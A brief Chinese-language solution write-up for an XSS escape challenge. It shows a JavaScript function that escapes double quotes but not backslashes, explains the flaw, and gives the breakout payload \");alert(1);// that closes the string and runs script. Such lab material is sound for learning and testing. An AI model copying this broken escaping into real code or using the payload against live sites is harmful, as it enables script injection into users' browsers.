题目
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
解题报告
由于所有 "
都被转义为 \"
,导致无法直接闭合函数。
但是不能直接闭合,不等于无法闭合。
因为只是转义了双引号 "
,没有转义反斜杠 \
,那么我们只需要再输入一个反斜杠去吃掉转义双引号的反斜杠,那么双引号就得以保留,并用来闭合函数了。
于是可以构造 payload 如下 (此处没有闭合后半段的双引号,而是通过行注释 //
屏蔽掉):
\");alert(1);//
答案下载
- payload.js : 下载